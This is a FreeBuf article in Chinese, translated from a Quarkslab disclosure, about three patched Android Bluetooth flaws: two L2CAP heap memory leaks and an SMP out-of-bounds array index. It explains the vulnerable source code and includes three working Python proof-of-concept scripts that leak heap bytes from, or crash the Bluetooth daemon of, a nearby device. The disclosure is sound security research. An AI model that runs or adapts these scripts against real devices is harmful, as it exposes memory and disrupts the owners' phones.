freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

三个Android蓝牙组件漏洞详情
FreeBuf_25425 2018-08-28 13:00:09 616203
所属地 浙江省

写在前面的话

2018年3月,Quarkslab向Google报告了Android蓝牙协议栈中的一些漏洞:

问题编号74882215:蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露

问题编号74889513:蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露

问题编号74917004:蓝牙SMP smp_sm_event()OOB阵列索引

漏洞1:蓝牙L2CAP L2CAP_CMD_CONN_REQ远程内存泄露

简要

通过向目标设备发送特制的L2CAP数据包,蓝牙范围内的远程攻击者可利用Android蓝牙协议栈中的漏洞披露属于com.android.bluetooth守护程序堆的2个字节。

漏洞详细信息

L2CAP是蓝牙协议栈中的协议, L2CAP的功能包括为更高层协议传输数据,包括通过单个链路复用多个应用程序。L2CAP是基于通道进行的,并且控制命令在预定义的L2CAP_SIGNALLING_CID (0x01)通道上被发送。L2CAP传入数据由l2c_rcv_acl_data()函数[platform/system/bt/stack/ L2CAP /l2c_main.cc]处理。如果传入的L2CAP数据包指定L2CAP_SIGNALLING_CID作为其目标通道,则l2c_rcv_acl_data()调用process_l2cap_cmd()函数来处理L2CAP控制命令。L2CAP_CMD_CONN_REQ控制命令在process_l2cap_cmd()函数中以以下这种方式处理:

case L2CAP_CMD_CONN_REQ:
  STREAM_TO_UINT16(con_info.psm, p);
  STREAM_TO_UINT16(rcid, p);
  p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
  if (p_rcb == NULL) {
    L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
                        con_info.psm);
    l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
    break;
  } else {
  [...]

上面的代码使用STREAM_TO_UINT16[platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值(con_info.psmrcid):

#define STREAM_TO_UINT16(u16, p)                                                                      \
  {                                                                                                                                       \
    (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));        \
    (p) += 2;                                                                                                                     \
  }

该漏洞在于使用STREAM_TO_UINT16宏而不检查攻击者控制的数据包中是否还有足够的数据;如果第二次使用STREAM_TO_UINT16时数据包中没有剩余字节,则从带外数据(out-of-bound)读取rcid,更精确的从堆上与包数据相邻的任何数据中读取rcid。之后,如果l2cu_find_rcb_by_psm()返回NULL并因此到达if分支,则对l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的调用会将rcid发送到远程对等体(the remote peer),这样堆中就会有2个字节泄露出来:

void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
                            uint8_t rem_id, uint16_t result) {
  [...]
  UINT16_TO_STREAM(p, 0); /* Local CID of 0   */
  UINT16_TO_STREAM(p, remote_cid);
  UINT16_TO_STREAM(p, result);
  UINT16_TO_STREAM(p, 0); /* Status of 0      */
  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

这里请注意,l2cu_find_rcb_by_psm()可以完全受到攻击者的影响,通过精心设计的L2CAP数据包中提供未注册的协议或服务多路复用器(PSM)ID字段,会始终返回NULL(即始终返回到if分支)。另外,请注意,使用STREAM_TO_UINT16宏而不检查攻击控制的包中是否还有足够的数据,这种不安全的模式在process_l2cap_cmd()函数中随处可见。

Poc

下面的Python代码触发了漏洞并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中泄漏的16位值。这个Python代码使用Blueborne框架中的l2cap_infra包。用法:$ sudo python l2cap01.py <src-hci> <target-bdaddr>样本:$ sudo python l2cap01.py hci0 00:11:22:33:44:55

import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_CONN_REQ = 0x02
def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
    # This will leak 2 bytes from the heap
    print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..."
    cmd_code = L2CAP_CMD_CONN_REQ
    cmd_id = 0x41               # not important
    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
    non_existent_psm = 0x3333   # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called
    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
    # 170    /* Send the data through the channel state machine */
    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {
    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
    l2cap_loop.on(lambda pkt: True,
                  lambda loop, pkt: pkt)
    # And printing the returned data.
    pkt = l2cap_loop.cont()[0]
    print "Response: %s\n" % repr(pkt)
    # print "Packet layers: %s" % pkt.summary()
    # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
    # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer
    print "Leaked word: 0x%04x" % pkt[2].scid
    l2cap_loop.finish()
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

漏洞#2:蓝牙L2CAP L2CAP_CMD_DISC_REQ远程内存泄露

简要

蓝牙范围内的远程攻击者可以使用Android蓝牙协议栈(Bluetooth stack)中的漏洞通过向目标设备发送自定义的L2CAP数据包来自属于com.android.bluetooth守护进程堆的4个字节。

漏洞详细信息

L2CAP_CMD_DISC_REQ控制命令在process_l2cap_cmd()函数中以下方式处理:

case L2CAP_CMD_DISC_REQ:
  STREAM_TO_UINT16(lcid, p);
  STREAM_TO_UINT16(rcid, p);
  p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
  if (p_ccb != NULL) {
    if (p_ccb->remote_cid == rcid) {
      p_ccb->remote_id = id;
      l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
    }
  } else
    l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);

上面的代码使用STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]从L2CAP数据包中读取2个uint16_t值(lcid和rcid):

#define STREAM_TO_UINT16(u16, p)                                                                        \
  {                                                                                                                                         \
    (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));         \
    (p) += 2;                                                                                                                      \
  }

该漏洞存在于STREAM_TO_UINT16宏被使用两次后,而不检查攻击者控制的数据包中是否还有至少4个字节;如果数据包中没有剩余字节,那么从将从带外数据读取lcid和rcid,更准确的说是从与堆上的数据包数据相邻的任何数据中读取。之后,如果l2cu_find_ccb_by_cid()返回NULL并因此到达else分支,则对l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]调用会将lcid和rcid发送到远程对等体,这样堆中的4个字节就会被泄漏。

void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
                             uint16_t local_cid, uint16_t remote_cid) {
[...]
  UINT16_TO_STREAM(p, local_cid);
  UINT16_TO_STREAM(p, remote_cid);
  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

请注意,l2cu_find_ccb_by_cid()可以完全受到攻击者的影响返回NULL(即始终返回到else分支),因为该函数将始终返回NULL,除非在目标设备和攻击者的蓝牙设备之间设置一个活动通道控制块(CCB),并设置假的lcid。

Poc

以下Python代码会触发漏洞并输出从目标蓝牙设备的com.android.bluetooth守护进程堆中泄漏的两个16位值。这个Python代码使用来自Blueborne框架中的l2cap_infra包。用法:sudo python l2cap02.py <src-hci> <target-bdaddr>样本:$ sudo python l2cap02.py hci0 00:11:22:33:44:55

import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_DISC_REQ = 0x06
def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
    # This will leak 4 bytes from the heap
    print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
    cmd_code = L2CAP_CMD_DISC_REQ
    cmd_id = 0x41               # not important
    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
    # 170    /* Send the data through the channel state machine */
    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {
    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
    l2cap_loop.on(lambda pkt: True,
                  lambda loop, pkt: pkt)
    # And printing the returned data.
    pkt = l2cap_loop.cont()[0]
    print "Response: %s\n" % repr(pkt)
    # print "Packet layers: %s" % pkt.summary()
    # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
    # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
    print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
    l2cap_loop.finish()
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

漏洞#3:蓝牙SMP smp_sm_event() OOB数组索引

简要

蓝牙范围内的远程攻击者可以使用Android蓝牙协议栈(Bluetooth stack)中的漏洞,使com.android.bluetooth守护进程访问之外的数组,方法就是通过将意外传输发送包里所含的SMP_OPCODE_PAIRING_REQ命令的SMP数据包发送到目标设备。

漏洞详细信息

安全管理器协议(SMP)为运行在蓝牙低能耗堆栈上的应用程序提供服务访问,如设备身份验证、设备授权和数据隐私访问,以及对运行在蓝牙低能耗堆栈上的应用程序的访问。SMP协议位于L2CAP之上,位于预定义的L2CAP_SMP_CID (0x06)通道之上。传入的SMP数据包由smp_data_received()函数[platform/system/bt/stack/smp/smp_l2c.cc]处理。如果通过L2CAP_SMP_CID固定通道接收到一个SMP数据包,其中包含SMP_OPCODE_PAIRING_REQ (0x01)命令,则会出现以下代码:

static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  [...]
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr);
  [...]

如上面的代码所示,p_cb-> role设置为L2CA_GetBleConnRole(bd_addr)返回的值。 p_cb-> role应该包含其中一个值[platform / system / bt / stack / include / hcidefs.h]

/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff

如果分析人员查看L2CA_GetBleConnRole()函数中[platform/system/bt/stack/l2cap/l2c_ble.cc]的代码,就可以发现它调用l2cu_find_lcb_by_bd_addr()来查找一个匹配远程BDADDR并使用低能耗传输(BT_TRANSPORT_LE)的活动链接控制块(LCB)结构;如果找不到它,则返回HCI_ROLE_UNKNOWN(0xff)。当分析人员通过在BR/EDR(基本速率/增强数据速率,也称为“classic”蓝牙)传输上发送包含SMP_OPCODE_PAIRING_REQ命令的SMP数据包来命令此代码时就是如下这种情况,它应该只用于低能耗(LE)传输:

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;
  tL2C_LCB* p_lcb;
  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;
  return role;
}

所以,返回smp_data_received()函数,在将p_cb-> role设置为HCI_ROLE_UNKNOWN(0xff)之后,它调用smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc],得到以下代码。

953  void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
...
957    tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
...
970    /* look up the state table for the current state */
971    /* lookup entry /w event & curr_state */
972    /* If entry is ignore, return.
973     * Otherwise, get state table (according to curr_state or all_state) */
974    if ((event <= SMP_MAX_EVT) &&
975        ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {

在第957行,代码使用p_cb-> role作为索引从smp_entry_table静态数组中读取,而不检查p_cb-> role是否具有两个有效值中的一个,即HCI_ROLE_MASTER(0x00)HCI_ROLE_SLAVE(0x01)。这就是漏洞:smp_entry_table静态数组只包含2个元素,而p_cb-> role的值为0xFF,在接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP包后,在BR/EDR传输上,而不是在预期的低能耗传输之上。

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
                                                 smp_slave_entry_map};

因此,作为执行entry_table = smp_entry_table[0xff]时的OOB索引的结果,entry_table局部变量将包含一些垃圾值(位于bluetooth.default.so二进制文件的数据部分中的smp_entry_table全局变量之后的任何值)。因此,稍后在第975行,当取消对entry_table [event – 1] [curr_state]的引用时,它很可能会导致分段错误(受bluetooth.default.so二进制文件的特定版本的影响,其中包含smp_entry_table全局变量),这将使com.android.bluetooth守护进程停止工作。

Poc

用法:$ sudo python smp01.py <src-hci> <target-bdaddr>样本:$ sudo python smp01.py hci0 00:11:22:33:44:55

import os
import sys
from l2cap_infra import *
L2CAP_SMP_CID = 0x06
# This matches the CID used in l2cap_infra to establish a successful connection.
OUR_LOCAL_SCID = 0x40
SMP_OPCODE_PAIRING_REQ = 0x01
def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
    print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
    cmd_code = SMP_OPCODE_PAIRING_REQ
    the_id = 0x41       # not important
    cmd_len = 0x08
    flags = 0x4142      # not important
    # here we use L2CAP_SMP_CID as cid
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
    l2cap_loop.finish()
    print "The com.android.bluetooth daemon should have crashed."
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: smp01.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

时间线

2018年3月15日:Quarkslab向Google报告了影响Android蓝牙堆栈的三个漏洞。错误被添加到ID“74882215,74889513和74917004”下的“Android外部安全报告”问题跟踪器中。

2018年3月16日:一个温和的机器人承认所有三个安全报告。

2018年3月26日:Android安全团队关闭问题74882215作为问题74135099的副本,声明该错误已在2018年3月4日由另一位外部研究人员报告过。

2018年5月10日:Quarkslab回到剩下的问题74889513和74917004,提醒谷歌自初始报告以来差不多两个月没有得到Android团队的任何回应,并询问是否有人能够评估错误。

2018年6月4日:2018年6月Android安全公告发布,修复了问题74882215和74889513。

2018年7月2日:2018年7月Android安全公告发布,修复问题74917004。

2018年7月25日:此博客文章发布。

写在最后的话

Quarkslab的分析人员已经向Google报告了三个影响Android蓝牙协议栈(Bluetooth stack)的漏洞。其中两个影响到了处理L2CAP协议的代码,它们允许远程攻击者(在蓝牙范围内)公开属于com.android.bluetooth进程的内存内容。这些内存泄露漏洞可能对攻击者在攻击过程的早期阶段有所帮助,甚至可能用于检索敏感数据。第三个漏洞是SMP协议实现中的带外数组索引错误,虽然很可能会导致com.android.bluetooth进程崩溃,但攻击者可能利用它来远程执行Android设备上的远程代码。有趣的是,与前两个L2CAP问题不同,此SMP错误不是解析格式错误的数据包的结果;实际上,它可以通过发送包含SMP_OPCODE_PAIRING_REQ的良好格式的SMP数据包来触发,但是是通过BR/EDR传输而不是预期的BLE传输。

*参考来源:quarkslab,周大涛编译,转载请注明来自FreeBuf.COM

# android安全 # 蓝牙漏洞
本文为 FreeBuf_25425 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞复现
FreeBuf_25425 LV.7
这家伙太懒了,还未填写个人描述!
  • 95 文章数
  • 81 关注者
红队技巧:SQL Server Extended Stored Procedures命令执行
2021-10-02
实战中常见的十种cookie漏洞
2021-03-03
红队技巧 | SharpSphere dump LSASS内存
2021-02-26
文章目录